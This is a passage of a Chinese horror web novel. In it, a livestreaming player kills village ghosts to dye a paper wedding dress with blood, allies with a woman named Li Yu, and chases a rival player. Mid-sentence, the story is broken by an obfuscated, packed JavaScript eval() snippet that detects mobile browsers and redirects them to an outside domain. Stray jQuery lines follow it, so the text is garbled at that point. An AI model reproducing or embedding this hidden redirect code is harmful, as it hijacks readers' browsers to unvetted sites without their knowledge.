嫌弃不已地拿着纸嫁衣往每一个被砍死的冤死鬼上裹,看着嫁衣抗拒不已地将这些血吸干净。
终于艰难地把纸嫁衣染红了大半,安哲感慨了一番不愧是正式副本,里面的任务比起新手副本来说确实难多了之后,又垂眸向黑色冤魂看去。
“……还没吃完?”
见状,黑色冤魂打了个哆嗦,捧起满地被吸干吸瘪了的干巴鬼皮鬼骨,眼泪汪汪的大口大口往嘴里塞去,由于太干被噎得直伸脖子,脑袋伸得甚至比苞米地还高。
心累得将黑色冤魂伸长的脖子一拳锤回,安哲叹了口气,不是很想看这个丢人玩意。
“来之前做好伪装,院里被砍断了的辘轳不会被看出来吧?”
被噎得说不出话来,但还在使劲吃着的黑色冤魂死命点头,手舞足蹈拍胸脯表示安哲放心,保证绝对靠谱。
黑色冤魂一刻不敢停地往嘴里狂塞,安哲围观了一会儿眼前这毫无食欲可言的吃播,突然想起了什么东西。
“对了,我的附魔和特效呢?”
好看的眉头轻轻皱起,安哲特意将刀召出往刀上看了一眼。
看着依旧朴素,斑斑裂痕中黑烟狂冒的长刀,安哲啧了一声,斜眼向黑色冤魂看去。
“你不是说你不挑食,吃什么都能吃出特效吗?”
现在你吃了这么多,我的特效呢?
嘎的一声,黑色冤魂埋头狂啃骨头的动作猛地一顿。
不是吧阿Sir,你喂我吃这个还想要特效?
捧着还没塞完的干巴鬼骨,黑色冤魂震惊而又不可置信地向安哲看去。
片刻后,确定安哲没有说笑,是真的在问他要特效后,黑色冤魂气得身体狂抖,猩红的眼睛里冒出了猩红的泪滴。
还有没有天理和王法了,我们厉鬼什么时候才能……
“你该不会是,把我的附魔和特效私吞了吧?”
面对安哲愈发狐疑的眼神,与悄悄捏起的结实小拳头,头盖骨隐隐作痛的黑色冤魂压下心中不爽,本能地打了个哆嗦笑脸相应。
有,有有,不就是花里胡哨的特效和附魔吗,要多少有多少,对他这种高等厉鬼来说,憋个唬人的花架子还不简单?
于是乎,在安哲期待的目光下,黑色冤魂一边啃干巴厉鬼一边给他憋武器特效。
伴随着干巴鬼尸的逐渐啃入,一个又一个大小不一的骷髅头从刀把上生长延伸。
鬼火幽绿的光芒和时不时闪过的红光在骷髅头的眼窝处浮现,凄厉的惨叫和哀嚎声加倍上演。
森森黑气中,看着安哲满意点头的样子,觉得自己的鬼生实在是太难了的黑色冤魂抹了把眼泪,拍着胸脯表示——
就这种程度的特效,它要多少有多少!
“天干物燥,小心火烛……”
在黑色冤魂手舞足蹈的滑稽表演里,打更人喑哑低沉的声音从远处模糊响起,棒子声阵阵,尽职尽责地提醒和报时。
晚上9点了。
本就黑暗暗的天已经彻底黑透。
也不知是不是安哲的错觉,今晚夜间的时间,似乎过得比昨晚快了不少。
将村角老王家的位置共享塞进黑色冤魂脑袋里,示意这家伙把地上的这摊啃完后再去把老王家的那两只给善后。
安哲起身揉了揉脸,扛着嫁衣一脸凄惶地再度上路。
“救命,救命呐——”
凄厉哀怨的惨叫声响起,从鬼怪们的反馈中努力学习的安哲凄厉出声。
“鬼在杀人,鬼要杀我!来人呐,救救我,救命啊!!”
就这么一路走一路嚎,一路坑一路吃,在黑色冤魂快要吃yue了的生无可恋目光里,安哲宰鬼无数,终于艰难地……
将血色嫁衣染红了大大半,只剩下最后一截下摆和衣角。
“不是。”
砍到打更人已经报完第二次更,时间来到十一点多的安哲整个人都惊了。
此时周围,方圆几里地的厉鬼和冤魂们在见证和目睹了前辈们鲜血淋漓的教训后,已经演化到了看到扛着嫁衣的漂亮小变态立马就跑的全自动ptsd模式。
演了半天钓不到一只鬼,动手抓鬼来回折腾着也就能砍上几只的安哲很是纳闷。
“之前接到这个任务的主播都是怎么过关的,硬生生把一村的鬼抓起来砍吗?这副本里的鬼跑得很快,很不好抓的啊?!”
难得看到安哲吃瘪,直播间里,已经被他这一系列骚操作震惊麻了的观众们忍不住发起弹幕。
[有没有一种可能,我是说可能啊,这个任务里的嫁衣染血需要的是人血?你看你拿鬼血去给嫁衣染色,嫁衣吸得很不乐意啊!]
[我踏马笑死,由于任务机制的问题,这个副本主播死亡率是出了名的高,头一次见副本里的鬼会被主播折腾成这样哎。
除了那些晚上固定不出门的NPC鬼,周围游荡着的孤魂和厉鬼已经快被砍完了吧,你是真的猛啊铁铁,关注了嗷,就喜欢像你这样的小神经病,笔芯~]
[Emmm,之前年少天真的时候看过这个本,直接给我看致郁了,没想到哲哲竟然会进到这个副本里,唉,这个本很吓人的]
[尊嘟假嘟O.o?前面的姐妹别跑啊,给弹幕的家人们剧透一下,啊啊我害怕!]
在弹幕的讨论展开后,直播间里安哲能看到的弹幕骤减了不少。
换个其他时刻关注着直播间和弹幕的主播已经开始慌了,但很可惜的是,这个现象对安哲来说没用。
自从第一次副本被弹幕的恶意扑了一脸,并顺利和直播间里的纯恨粉结下梁子后,安哲就养成了一个良好习惯。
他,直播,不看直播间和弹幕!
就这样,一无所知的安哲哼着歌,继续走向了诱鬼骗鬼的新道路。
还别说,换了条路后,新的发现和惊喜果然到来。
“唔……呼……呼哧……”
还不等假装跌倒的安哲踉跄起身,小路那头,一道有些熟悉,但比他还要踉跄许多的身影便跌跌撞撞地跑了过来。
狼狈身影的身后,几个龇牙咧嘴长着豺狼脑袋的长毛人正兴奋追着,猩红的舌头和眼珠狂甩,恶臭的涎水四散着甩落在地,发出嗤嗤的灼烧声。
没想到会和安哲在这条小路上相逢,正在狼狈逃命的沉默女人猛地一愣。
身后,狞笑追赶的声音飞速迫近,李玉犹豫了一下,她看了眼安哲,咬牙换了个逃命方向。
“嘿嘿,嘿嘿,女娃娃别跑啊,跟叔叔回去,叔叔家里有饼干,给你吃零食!”
“饿,饿啊,我好饿,乖囡让伯伯啃一口,伯伯保证,轻轻的,一口咬下齐根断开,一点都不痛!”
“唔……”
没想到大晚上的还能碰到同样出来钓鱼的同行,安哲撞见李玉的那一瞬间,不好意思地往后蜷缩了一下,老实示意自己没有要抢怪的意思。
好厉害,果然还是他的演技不行。
事实证明不是大环境不好,看看人家演技好的,钓鬼还是手拿把攥的事!
就是闻着,这家伙身上怎么有股奇怪刺鼻的味道,身上看起来湿漉漉的,是刚从哪里游泳回来吗?
怀揣着学习和精进的奋斗精神,安哲全神贯注地观摩学习着,希望能把李玉这先进有效的钓鬼技术学到,进而把纸嫁衣剩下的那点空白顺利染红。
但看着看着安哲发现不对,李玉似乎是真的打不过身后的长毛鬼在逃命。
于是乎,安哲眼睛一亮,蠢蠢欲动不安分的小手开始悄悄摸起刀来。
那既然这样的话,他现在冲上去救人,是不是就不算抢怪了?
鬼现在都学精了,不好骗着呢,难得有这好几个身强力壮的高大鬼聚在一起,这要是都给刀了,得贡献出多少血出来!
最起码,能把纸嫁衣的一个衣角给染红了吧?
他嫁衣的最后一小截还白着好多呢!
兴奋的猫猫眼蹭的亮起,不再装瘸的安哲扛着嫁衣翻身而起,动作飞快地向李玉逃跑的方向追去。
“姐姐别跑……我是说别怕,我来帮你!”
追着砍了一晚上鬼的安哲差点嘴瓢,在李玉瞬时刷出的99负面情绪值里,安哲提着刀兴奋不已的追赶。
伴随着他的靠近,正在追李玉的几只鬼迟疑片刻,逐渐停下脚步。
“呵呵后生仔,在这逞英雄呢?”
“城里的娃娃就是这样,喜欢英雄救美,不像我们村送女娘娘点化后的姑娘,踏实能干,一个接一个地下崽!”
嘴里说着荤素不忌的糙话,原先追李玉的几只鬼对视一眼,狞笑着回头向安哲走来。
“不愧是城里的娃娃,细皮嫩肉的,看着就很香。”
“这次准备的祭品不多啊,数量那么少,这个男娃娃能不能也送去送女娘娘那点化成女的?”
“算了吧,男的当女的用,你恶不恶心啊……呃……”
最后一句话还没说完,安哲的身影便已快速迫近。
手起刀落的一刀一个,安哲一边动作飞快地将纸嫁衣糊上,吸干吸净没有浪费一滴血,一边歪头想了想刚才几人的对话,有些狐疑。
“他们这个送女娘娘这么邪门的吗,能变男为女?”
不远处,咬牙停下逃命,回身准备救人的李玉见证了安哲一刀一个的全过程,愣在原地满脸错愕。
抹了把脸上溅到的血迹,安哲顺手往纸嫁衣上擦去,看着李玉震惊中带着点茫然的视线,安哲垂眸,不好意思地笑了。
“姐姐,我是不是抢你怪了?”
“……没有。”
深深地吸了口气,李玉一瘸一拐地走了回来,面上看着平静,实则被震撼到的负面情绪值在安哲系统记录里狂刷。
看着安哲动作娴熟地掏纸嫁衣,吸血,接着掏黑色冤魂,递尸体处理,黑色冤魂埋头狂啃这一条龙路线,隐约间明白了什么的李玉眼角狂抽,目光不自觉地向安哲肩上扛着的纸嫁衣看去。
“这个嫁衣……你是……这么染红的啊?”
都已经染红了这么多,这家伙今晚是杀了多少鬼?
“嗯嗯,就是量有点大,我砍一晚上了还是没凑齐。”
安哲叹了口气,顺便给了偷偷看戏吃饭变慢的黑色冤魂一拳。
挨了一拳头后,黑色冤魂啃干尸的速度肉眼可见地变快不少。
在黑色冤魂血泪斑斑,阴风阵阵的啃食声里,三观都受到冲击的李玉精神恍惚,看着安哲的眼神都有点发直。
“这样也,也,也挺好……”
李玉声音越说越小,说到最后,整个人站在安哲身边陷入了沉思。
眼看着安哲要走,回过神来的李玉喊住安哲,将自己之前受伤时的血迹顺手擦在了安哲嫁衣之上,殷红的血液被迅速吸收。
李玉娴静笑着,不再沉默呆板的脸庞突然变得明媚而又鲜活。
“嗯……要合作吗?”
“这个村的村民对女人有执念,我去拉鬼的话很容易就能拉出他们固定的巡查范围。”
向不远处的村庄指了指,李玉抿嘴微笑,大大的眼睛弯成了两弯月牙。
“你的任务需要血吧?我的任务需要他们的心肝,拉过来后一群鬼里我可以只要一副,剩下的心肝脾肺肾和血液骨头都给你。”
“还有这种好事?”
闻言,安哲提刀的手顿时握紧,眼睛猛地一亮。
“好好好,姐姐你放心拉,拉过来的都能杀!那片的鬼都被我杀完了,现在他们见我就跑,我正愁任务完不成呢!”
“姐姐你不用跟我客气,到时候拉过来的鬼心肝都给你,我要血液和剩下的干尸附魔做特效就行!”
干尸还能……附魔做特效的吗?!
李玉沉默点头,被震撼到的瞳孔轻轻颤抖。
就这样,简单进行了一番交流和沟通后,两人一鬼愉快无比地对那些虽然还没死,但也马上就不活了的鬼怪们尸体划分好了归属。
在黑色冤魂明显吃撑,阴风阵阵黑雾弥漫中时不时干呕一声的阴间BGM里,丧尽天良诱鬼一代目组合,正式踏上了征程。
“呜 ,呜呜,救命啊……”
李玉说得没错,虽然她和安哲比起来,演技明显没有苦练了一晚的安哲逼真和好。
但那些鬼明显被欲望遮蔽了大脑,看见落
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13930952|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
单李玉的那一瞬间,眼神瞬间凶悍,一群鬼二话不说就冲了出来。
“呜呜,救命……”
“呃……噶……”
“呜呜,救命……”
“呃……噶……”
“呜呜,救命……呜呜……呜呜……咦,这片好像没人了……”
不知不觉中,夜晚的村落似乎变得格外安静了起来。
曾经夜间四处游荡打猎的村民们消失不见,阴风刮过寂寥的土路,刮出一片空洞的回响。
“这么快就结束了吗,”意犹未尽地舔了舔嘴,李玉叹气说道。
“真不经杀啊……”
“好在任务已经完成了,明天应该能交差。”
安哲扛着已然变得全红,在惨白月光的照耀下愈发渗人的红嫁衣,同样无奈地叹了口气。
虽说任务是完成了,但完成的是肉眼可见的勉强。
尽管今晚宰杀了那么多的鬼怪,但安哲嫁衣上的最后一块白涂红的依旧不是很好——
小小的一块淡红色在周围浓重暗红的映衬下,目光看上去后极为明显。
有些头疼地盯着嫁衣最后一角看了好一会儿,安哲还是不放心,觉得村长和老神棍那两个老登明天要找自己麻烦。
“真的没鬼了吗,我怎么感觉有些屋里还是住着人的……”
安哲不死心地往几个已经熄灯了的屋子里扫去,他记忆力很好,清楚记得有几个屋一开始明明亮着灯的,是在他和李玉将鬼引出来杀干净后屋里的灯才突然熄灭的。
这说明了什么?这说明屋里有人啊!
有人就说明有鬼,有鬼就说明有血,有血就说明……
“不用担心,你嫁衣染成这样已经很不错了。”
伸手拽住了打算冲去村民家里行凶,划掉,冲去村民家里伸张正义的安哲,李玉抿了抿嘴,有些无奈地说道。
“纸嫁衣的任务是最难的任务之一,以前一直都是由队里的女玩家接的,只要将嫁衣染到半红以上就算过关,你的嫁衣已经全部染红,算很不错的完成度了。”
“而且这些不出屋的村民最好不要去动,房屋对这些村民来说是个比较特殊的场地。”
担心安哲太虎,自己一个不留神这家伙搞不好就冲了进去,李玉拉住安哲,特意叮嘱。
“外面游荡的村民杀了就杀了,第二天睡醒后他们只会感觉到精神头不足,昏昏欲睡的没有精神,半昏迷的状态持续好几天却记不起来是因为什么。”
“但你要是冲进他们家里行凶,咳,我是说正义执行的话,你动手的经过会以梦的形式映射进他们脑海里,等第二天天明睡醒后,他们就该强撑着从床上爬起来,过来找你麻烦了。”
“这个副本比较特殊,任务一旦判定失败会很惨的。”
“噢噢,那好吧,”安哲有些遗憾地收回了蠢蠢欲动的小手。
此时夜风阵阵,安哲和李玉坐在路边的一块大石头上,身旁,黑色冤魂还在生无可恋地啃着干巴骨头。
在这吓人又恐怖的啃食咀嚼声里,安哲歪头,好奇地向李玉看去。
“姐姐,你是第二次来这个副本吗,感觉你知道的好多。”
“当然不是,”李玉笑了笑,她注视着头顶的星空,笑容平静温柔。
“这些是我结合着村志和其他资料里的内容推测出来的,白天的时候我们每个人不都分了任务吗,我任务的地点就是存放村志的祠堂,里面有很多记载详细的记录和资料。”
“原来是这样,”安哲恍然大悟地点了点头。
他从小在末世长大,别说村志了,末世里连个县志城志都没有。
记载一城历史的城志可能会有,但显然不是安哲这种连公务员都没考上的小平民能听说和注意到的东西。
将这个与众不同的知识点记录下来,安哲和李玉再度开始等候天亮的无聊等待。
漫天稀疏黯淡的星光中,安哲发现身旁的李玉总在若有若无的打量着他,眼神很是奇怪。
“你总看我干啥?”
抬手给了又偷偷偷懒放慢进食速度的黑色冤魂一锤,安哲好奇问道。
“唔……”
似乎是没想到安哲会这么干脆地问出来,李玉顿了一下。
犹豫了一会儿,李玉皱眉叹了口气,带着些许的怀念惆怅说道。
“你很像我妹妹……”长得好看,漂亮,乖巧,心地柔软而又善良。
“……妹妹?”
可是我是男孩子哎……
迟疑了一下没说出扫兴的话,安哲顿了一下,想了想自己身上最突出的特点。
“她也很能打?”
“那倒没有……”李玉原本惆怅失意的情绪都被安哲问得有点不连贯了。
她也跟着顿了一下,又顿了一下,接着顿了好几下。
漫长的沉默后,李玉舒了口气,怀念而又悲伤地轻笑了一声。
“要是她也和你一样能打就好了。”
啊这……
体会到了那令人悲伤的潜台词,没想到一不小心触人伤口了的安哲不再出声,闭嘴安静地坐着。
“咪嗷……喵……喵呜……”
远方的田埂间,有轻微的猫叫小声传来,含糊而又谨慎。
也不知是不是安哲的错觉,他总觉得这猫叫声听起来有几分耳熟。
为什么会耳熟,他以前也没养过猫啊……
能在末世里活下去的猫一个赛一个的彪悍,还没见过正常猫的安哲听着猫叫,回想着脑海中那些猫型变异种们陷入沉思。
听着这熟悉的猫叫声,还沉浸在悲伤中的李玉回过神来,面容娴静地笑了。
“咪,咪-咪……”
她弯了弯眼睛,小声呼唤着,然而这一次,不管她怎么呼唤,先前一喊就来的小猫咪却始终没有回应,只是不远不近地叫着。
甚至随着她的呼唤,声音开始变得害怕而又焦急。
“咪-咪?咪-咪?快来呀咪-咪,周围没有坏人的,坏人已经被我们都打跑了。”
在李玉坚持不懈的呼唤,与声音轻柔的安抚声中,还在嚎着的猫咪犹犹豫豫地迟疑靠近。
扑扑簌簌的声音从远方的烂稻田中响起,在安哲好奇不已的目光中,一个身影从稻田中轻灵跃出。
干瘦修长的身子四肢着地,长满了猫毛的人脸龇牙咧嘴,看起来总有种似曾相识的熟悉感。
以及最最重要的,小猫咪的长毛脸颊上那凹陷两块,伴随着呲牙的动作裸-露出来的,本应该有两个大牙位置的凹洞。
安哲沉默片刻,突然明白了这个看起来跟李玉挺熟的小猫咪刚才为什么不愿意靠近。
安哲:“……”
巧了啊老铁,他昨晚刚掰弯人家的大牙附魔!
将已经与他意识融合的刀又往意识深处塞了点,安哲看着长刀上挂着的一串交互锋利,都是黑色冤魂凭感觉瞎编,已然看不出哪两个是猫咪大牙的牙齿链。
再看看明显是气狠了,正盘在李玉身边对他咪嗷咪嗷叫着,龇牙咧嘴但因为没有大牙显得有些滑稽的人脸猫,心情尴尬而又惆怅。
他如果现在说昨晚那些事不是他干得还来得及吗?
本以为此生不会再见,他之前还遗憾着一不留神将猫放跑,剩下的牙还没来得及掰弯……
没想到这狗屎的人生,真是处处是惊喜,何处不相逢啊!!!
32.乡村诡话(六)
“咳咳,是这样的……”
不想在自己新交的朋友面前太过丢人和变态,安哲干巴地笑了笑,绞尽脑汁地开始胡编。
“这是你养的小猫咪吗?哇,看起来真可爱!”
“你的小猫咪看起来挺喜欢我呢,一见面就对我咪-咪-咪地叫个不停,哈哈实在是太热情了,哈哈哈……”
在李玉逐渐复杂的目光注视中,安哲解释(乱编)的声音越来越小。
看他似乎还想找补,又见旁边的猫咪已经骂骂咧咧的明显快要气炸,赶在双方的矛盾进一步加深前,李玉按住了安哲想要解释的手。
在安哲疑惑的歪头里,尴尬得脚趾疯狂抠地的李玉小声解释。
“那个,我的天赋技能是万物有灵,简单来说,就是能和一切有灵的非人存在沟通……”
“啊哈哈哈……原来是这样啊……”
本来还想挽回一下形象,结果一个不留神就从掰小猫咪牙的大变态升级成了掰小猫咪牙还不承认,当着小猫咪的面恶意扯谎的超级大变态。
看着缺了两颗大牙的长毛猫盘踞在李玉身旁,咪嗷咪嗷地拖长了嗓音,凄厉到嗓子都快喊哑了的样子。
不用李玉给他翻译,安哲就知道此时的小猫咪骂得一定很脏。
“主要是那个……你知道的……我武器可以附魔,就想着能附魔一下……”
“当时不知道这猫跟你认识……你注意下嗷,小猫咪不可以骂人,也不可以说脏话!”
面对安哲的这通解释,李玉笑着点头,倒是长毛猫依旧骂骂咧咧的,黄澄澄的猫眼里满是怒到了极致的悲愤。
其实对安哲来说,副本里的鬼怪欺负也就欺负了,实力不如人有什么好说的,鬼怪啃人的时候也没见它们嘴下留情过,不就掰了几颗牙吗,掰就掰了,怎么的,你有意见?
但好巧不巧的,这猫疑似是朋友的猫。
欺负野生鬼怪当然没啥,但欺负到了跟朋友交好的‘非’野生鬼怪的头上,这就有点尴尬了……
看它这一脸另有内情的样子,安哲揉了揉被喵喵叫得有些发痛的耳朵,好奇问道。
“我记得我当时就掰了两颗大牙,也没有使劲揍它,它怎么就生气成了这样?”
李玉:“……”
其实对小猫咪来说,失去用来猎食和撕咬猎物的两颗大牙已经是很难过的事了。
李玉很想对安哲这样说,但她听人脸猫咪呜咪呜地骂了半天,显然也深入抓住了用户小猫咪的痛点。
“它说,”李玉顿了一下,有些迟疑。
“它说你把它的牙掰断后,它整个猫都变得特别丑,回家后被邻居和家人一直不停地笑,特别丢脸……”
“害,我还以为怎么了,就因为这个啊?”
见人脸猫一边点头一边骂人的样子,安哲笑了笑,一脸智珠在握,成竹在胸的模样。
“这个简单,你等下带我回去,你的邻居和家人们谁笑过你,我把它们的牙也都掰了,这样大家都是没牙的小猫咪,谁还能再笑话你?”
此话一出,场上会说人话的和不会说人话的都沉默了。
在这长长久久的沉默中,与李玉愈发复杂,“做个人吧”的视线里,被掰断了牙的人脸猫拉长了嗓音凄厉叫了几声,而后转身猛地逃走。
不用李玉翻译,安哲都能听出小猫咪这最后几句肯定骂得崩溃,用词史无前例的肮脏。
“嗯……它最后除了骂人外,有邀请我让我跟上去帮忙掰牙的意思吗?”
“没有,”生怕安哲误会,李玉摇头的动作果断无比。
“它说它认栽了,求你放过它,也放过它们可怜的猫咪家庭。”
“好吧……”
安哲乖巧点头,看起来有些遗憾地叹了口气。
“那边的朋友,躲在那里偷听了半天,还不准备出来吗?”
在李玉放松下来,盯着夜空开始继续发呆的松散目光中,安哲扭头,盯着村口树影的方向眯眼笑道。
动作随意地将刀唤出,安哲拨弄了一下垂在刀柄处的颅骨小链,身上的气息开始变得危险。
“偷听了这么久,也该现身了吧?”
坐在安哲旁边的李玉悚然一惊,她下意识起身,目光危险地向安哲所说的方向看去,周身气息瞬间变得凌厉。
在两人一松一弛的目光注视下,两道身材高大的黑影从树后缓缓走出。
为了以示诚意,其中一道黑影还是双手高举,向安哲他们表示自己没有武器。
“别介意,副本里的情况比较复杂,我们只是想确定你到底是不是至暗教团的人。”
举手呈投降状走出的林凡笑了笑,脸上满是血污。
“骗谁呢,确认需要确认那么久?”安哲显然不信。
“你俩从说我长得像妹妹那时候就在了吧,一直偷偷摸摸鬼鬼祟祟地躲在那里,还在狡辩?”
换了个短视频里的套路,之前副本结束三天里疯狂休闲的安哲乐呵呵的,试图将剧本往清汤大老爷那靠拢。
“对于我刚才说的证词,你们可还需要狡辩?”
“需要……不是,我们怎么就成狡辩了……严队一开始想出来的时候是我拉了一下他,说等一下看看……我们也没想到你俩后面聊的内容那么精彩……”
给副本里的猫妖掰大牙,多稀奇啊!
就连严嵩都有些被安哲和人脸猫语言不通的对骂所吸引,下意识驻足听了起来。
安哲:“……”
这么说,这还怪我喽?
清汤大老爷的戏眼看着没法继续演下去了,面对这与短视频完全不符的剧情,安哲表示。
“这样接的话下面就没词了啊……”
“……什么词?”
安哲他们流水线拉怪处理的声势过于浩大,林凡刚才在追击途中也无意间瞄了几眼,自此在幼小心灵上留下了巨大的阴影和震撼,此时面对安哲的态度很是谨慎。
“噢,我是说我是好人。”
同样谨慎地看了严嵩一眼,在这家伙身上感受到了不小威胁的安哲皱眉,态度平和地建议。
“好人不打好人,那个什么噩梦委员会我感觉是个坏的,要不你们去把他两给端了吧。”
“呃,我和严队就是追着他们过来的,当然了出力的主要是严队,我起到的是辅助作用……”
说着说着,林凡脸色重新阴沉了下来。
今晚他和高溯组队外出完成任务,没想到半路被胖虎和司服围击,猝不及防下高溯直接重伤。
虽然在闻声赶来的严嵩帮助下,他们将司服干掉,但高溯也永远地留在了这个副本里。
该死的噩梦委员会……
林凡捏紧拳头,原本在安哲奇特画风带歪下淡了一点的眼神重新仇恨起来。
“是他们啊,那就不奇怪了,他们看起来和至暗教团很熟的样子,都不是什么好东西。”
安哲将上个副本里祁槐辛和翁浩瀚对队友同样狠下辣手,不知不觉间将队友宰了个干净的操作简单叙述了一番,同时有些迷惑地皱了皱眉。
“就是不知道他们为什么真把我当成了至暗教团的人,这么好骗的吗?”
哥,有没有一种可能,那就是你身上的气质和做事风格确实太邪了一点?
林凡眼角抽抽地从安哲一脸疑惑的漂亮脸蛋上扫过,目光一路来到了安哲手中的刀上。
看着那阴风阵阵,鬼叫凄厉,不断外溢的黑烟中摇晃闪烁着的骷髅头和锋利犬牙们的身影,林凡不忍直视地移开目光,愤恨的心情变得唏嘘起来。
有一说一,不怪人家噩梦委员会认错盟友嗷,漂亮哥你的刀长得确实很像反派。
可惜安哲没有读心功能,不然就会很直率地告诉林凡,他的刀不是长得像反派,就是直接用反派砌成的。
眼看着气氛陷入僵局,林凡和李玉盯着安哲的刀都陷入沉默,严嵩叹了口气,给安哲透了个底。
“至暗教团有着比较成熟的恶灵豢养手段,他们高层身上都会携带着至少一只的恶灵,你的刀灵……长得确实有点像恶灵了点。”
想想无意路过时安哲那只恶灵磨牙吮骨,红着眼睛流着口水抱着鬼尸嗷嗷大啃的样子,林凡打了个哆嗦,下意识符合点头。
“确实……哥你真的是好人对吧?”
“那当然了!”
有些疑惑地看了林凡一眼,不知道他为什么会这样问,安哲拍了拍胸-脯,站在那里一脸骄傲。
“纯纯的!”
骄傲到了一半,安哲的动作突然顿住,眉头逐渐皱起。
就在林凡奇怪他怎么了,难道要突然变脸桀桀桀地说自己是坏蛋,抽刀把他们所有人都砍了之际。
安哲突然‘啪’的一声拍了下手,表情很是兴奋。
“你们不是在找那个胖虎的踪迹吗?走走,我知道他在哪里!”
主播的尸体在死亡几分钟后会自动消失,不再对副本进度和副本里的鬼怪产生影响。
领着众人走过那条战斗痕迹十足的小巷,安哲压低嗓音,小声科普。
“我第一天晚上睡着后出来,问院里辘轳里的鬼婴情报时他不配合,和他沟通时不小心把辘轳砍断,怕被你们发现不对,就让我的刀灵缩在辘轳里进行伪装。
“就在刚刚,我的刀灵给我发消息,胖虎那家伙从院墙翻了进来,偷偷回房间里了!”
“他还没出去,我们现在回去,刚好将他直接逮到!”
“……好。”
众人点头,沉默地跟在安哲身后。
沉默不是因为素质高和不想说话,当然了,这也是其中的原因之一。
但起码对于林凡来说,他的沉默还有着其他依据。
问情报……不配合……沟通……砍断……
从安哲轻描淡写的一番话中,林凡十分顺利地脑补出了其中的凶险。
能进这个副本里的玩家都不是菜鸟,都是久经历练经验丰富的老玩家。
藏着鬼婴的木质辘轳就在水井上方,而水井就在院中央,大家又不瞎,辘轳上那么大的一个阴影,是个人都能看出这里面一定有问题。
第一晚形势不明,就连任务都没有刷出来,那个大写着不对的水井又那么明晃晃地摆在院子中央,噩梦委员会这个一贯下本如有神助的两个公会高级成员都没敢对院里的鬼婴动手,谨慎地选择了观望。
这家伙倒是勇猛,二话不说就干了上去,最重要的是还就这么轻描淡写地把鬼婴给干掉了,言语间一副从容淡然的样子……
林凡悄悄吸了口凉气,感觉到有些牙疼。
这是从哪里突然冒出来的大佬,他也没少混论坛,没听说过这号人啊……
“哥哥,想什么呢,又在发呆?”
思绪流转间,安哲漂亮的脸蛋突然出现在眼前。
看着暂时结盟后安哲卸下伪装,笑眯眯看来的样子,林凡嘴角微抽,一时间只觉得刚才吸进去的凉气好像成精了般,突突地往他天灵盖上冒。
“哥,你别喊我哥,你是我哥。”
就这么自然无比地说出了这句安哲已经开始变得耳熟了的话,林凡搓了搓手臂上蹿起的鸡皮疙瘩,心想自己真是何德何能,能让这位看起来武力值能和严队掰掰腕子的大佬喊自己哥哥。
“里面的人还在吗,”林凡压低嗓音问道,“我们冲进去直接动手?”
“嗯,”安哲点了点头,又扭头向严嵩看去。
“哥哥,没问题的话我们就冲?”
严嵩被安哲喊得眼皮一跳,脸上的表情微微扭曲。
“嗯,行,等下我打头阵……那个,不用喊我哥哥的。”
严嵩是成名已久的老牌大神玩家,久经风霜后早已养成了淡然沉稳的性格。
此刻难得见他情绪如此鲜明外露,严嵩直播间里的观众们乐得不行,弹幕和礼物刷得飞快。
[笑死了哈哈哈,严队刚才的脸都扭曲了哎,这么怕被喊哥哥的吗哈哈哈哈哈]
[xs,被漂亮弟弟喊声哥哥也不亏哇,严局加把劲,把这个小弟弟吸收进公会里,我很看好他!]
[嗯……虽然感觉这个漂亮弟弟也很不错,但是(比划)感觉他行事风格(比划)好像有点那个了(使劲比划)(小声逼逼)]
[天呐噜家人们,告诉你们一个劲爆消息,我跑去那边直播间看了一眼,这个漂亮弟弟是颜值主播哎,颜值!主播!!]
[啊???]
严嵩直播间里,“颜值主播这么能打”和“真的假的”的弹幕还在狂刷。
逐渐冷却下来的安哲直播间又喜提一波热度,好奇过来围观的严嵩粉丝们刚进直播间就被骂了一脸,人都傻了。
直播间外,砍了一晚上鬼人快无聊死了的安哲提着刀跃跃欲试。
严嵩推开院门的那一瞬间,不等严嵩抬腿,他就嗖的一下冲了进去,拎着他那把冒着黑烟和惨嚎的刀兴奋微笑。
严嵩:“……?”
“不许动!听见没有!放下武器!你已经被我们包围了!!”
冲进院里的安哲与刚好走出大厅的胖虎照了个对面,双方俱都愣了一下。
然而不等胖虎开口,安哲就拎着刀冲了上去,冷峻的猫眼在月光下闪烁着兴奋的光。
“拿命来!”
“不是……”
胖虎看着对着他直冲而来的安哲人都傻了。
说好的结盟之后盟友一家亲,虽然大家都是反派,想捅彼此的心都很强烈,但反水背刺也没有这么反的吧?
这是他们噩梦委员会早就圈进地盘里的副本,你个至暗教团的人和他在这个副本里拼什么命!!?
挥手冲安哲扔了个冲击道具,看着安哲被弹开后在半空中折返,再度向他雀跃奔来的样子,胖虎勃然大怒,头皮发麻。
“想摘果子也不是这么摘的吧?!你们至暗教团还讲不讲理了???”
“还有守夜人,你们至暗教团什么时候和守夜人勾搭上了?!!不对……你不是至暗教团的!!”
晕头转向地被安哲抓着打了一通,反应过来的胖虎被安哲身上的怪力震得手臂发麻。
余光扫到严嵩和院中骤然炸开,桀桀狞笑着向他扑来的黑色冤魂,胖虎脸色铁青,练肉横生的胖脸黑得吓人。
场上的形式肉眼可见的严峻,胖虎不用估算都知道自己肯定打不过眼前的这堆疯子。
他向后退了几步,窝在手中的玉片被悄然捏碎。
“早睡早起,保重身体——”
打更人模糊的打更声远远传来,连带着那熟悉而又陌生的眩晕感一起。
正挥刀向胖虎砍去的安哲眉梢一挑,下一秒,他眼前猛地一花,发现自己又回到了熟悉的厢房里。
“……啧。”
从熟悉的靠柱姿势醒来,安哲揉了揉比起昨天来说更加酸硬了一点的胳膊,精致脸蛋表情严肃。
“你昨晚……?”
他目光迟疑地向还在床上盖被躺着的李玉看去,得到了李玉一个肯定的点头答复。
片刻后,另一屋的严嵩和林凡敲门而入,眉头皱得很紧。
“胖虎屋里已经没人了,”严嵩简明扼要地说道。
“应该是已经去了送女娘娘庙那边交付任务。”
“那还等什么,我们也赶紧走吧。”
看了眼任务列表里仅剩一个多小时的时间,与屋外天空中
